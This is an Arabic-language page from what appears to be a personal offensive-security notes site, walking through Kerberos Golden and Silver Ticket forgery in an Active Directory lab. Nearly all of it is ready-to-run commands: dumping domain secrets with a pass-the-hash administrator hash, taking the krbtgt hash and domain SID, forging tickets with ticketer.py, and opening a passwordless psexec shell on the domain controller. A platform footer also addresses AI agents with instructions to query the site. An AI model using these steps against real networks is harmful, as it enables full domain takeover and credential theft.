> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/active-directory/lateral-movement/kerberos-golden-ticket-and-silver-ticket.md).

# Kerberos Golden Ticket وSilver Ticket

الهدف هو تزوير تذاكر Kerberos الخاصة بنا.

للقيام بذلك، نبدأ باستخراج الأسرار اللازمة من وحدة تحكم المجال.

{% code overflow="wrap" %}

```bash
secretsdump.py administrador@172.16.0.100 -hashes :a87f3a337d73085c45f9416be5787d86 
```

{% endcode %}

<figure><img src="/files/9fde781ec8d5d29dff4cf83816f9003c987e5191" alt=""><figcaption></figcaption></figure>

هنا نستخرج قيمة الهاش الخاصة بـ `krbtgt` الحساب.

* 2ebd06648a79ae82327c33648b68aa82

<figure><img src="/files/947e7a6ba15e59bcd7d69e28f1aa36fe5873fba3" alt=""><figcaption></figcaption></figure>

كما نستعيد أيضًا `SID الخاص بالمجال`.

{% code overflow="wrap" %}

```bash
Get-ADDomain
```

{% endcode %}

* S-1-5-21-3587670147-487768648-1292400310

<figure><img src="/files/06ed073e644a834378c4060329673accc5421034" alt=""><figcaption></figcaption></figure>

مع `ticketer.py` يمكننا عندها إنشاء تذكرة Golden Ticket لهذا الحساب.

{% code overflow="wrap" %}

```bash
ticketer.py -nthash 2ebd06648a79ae82327c33648b68aa82 -domain-sid S-1-5-21-3587670147-487768648-1292400310 -domain whoami.local administrador
```

{% endcode %}

ثم نقوم بتحميل هذه التذكرة إلى ذاكرة Kerberos المؤقتة المحلية.

{% code overflow="wrap" %}

```bash
export KRB5CCNAME=/home/jordan/administrador.ccache
```

{% endcode %}

<figure><img src="/files/3e27a2d1336ce57ca9a9aae449f37158cbcdb2a9" alt=""><figcaption></figcaption></figure>

بمجرد تحميل التذكرة، يمكننا تسجيل الدخول عن بُعد دون كلمة مرور.

{% code overflow="wrap" %}

```bash
psexec.py whoami.local/administrador@DC01.whoami.local -k -no-pass
```

{% endcode %}

<figure><img src="/files/79dc5324efc290e023b1650e86dbeeff554383d4" alt=""><figcaption></figcaption></figure>

لإنشاء تذكرة Silver Ticket، يبقى المبدأ نفسه، لكن التذكرة تكون لخدمة محددة.

{% code overflow="wrap" %}

```bash
ticketer.py -nthash 2ebd06648a79ae82327c33648b68aa82 -domain-sid S-1-5-21-3587670147-487768648-1292400310 -domain whoami.local -spn cifs/DC01.whoami.local administrador
```

{% endcode %}

<figure><img src="/files/b07be1b02c8872d2a6fcb791b45f0b5dfdf5fe7a" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/active-directory/lateral-movement/kerberos-golden-ticket-and-silver-ticket.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
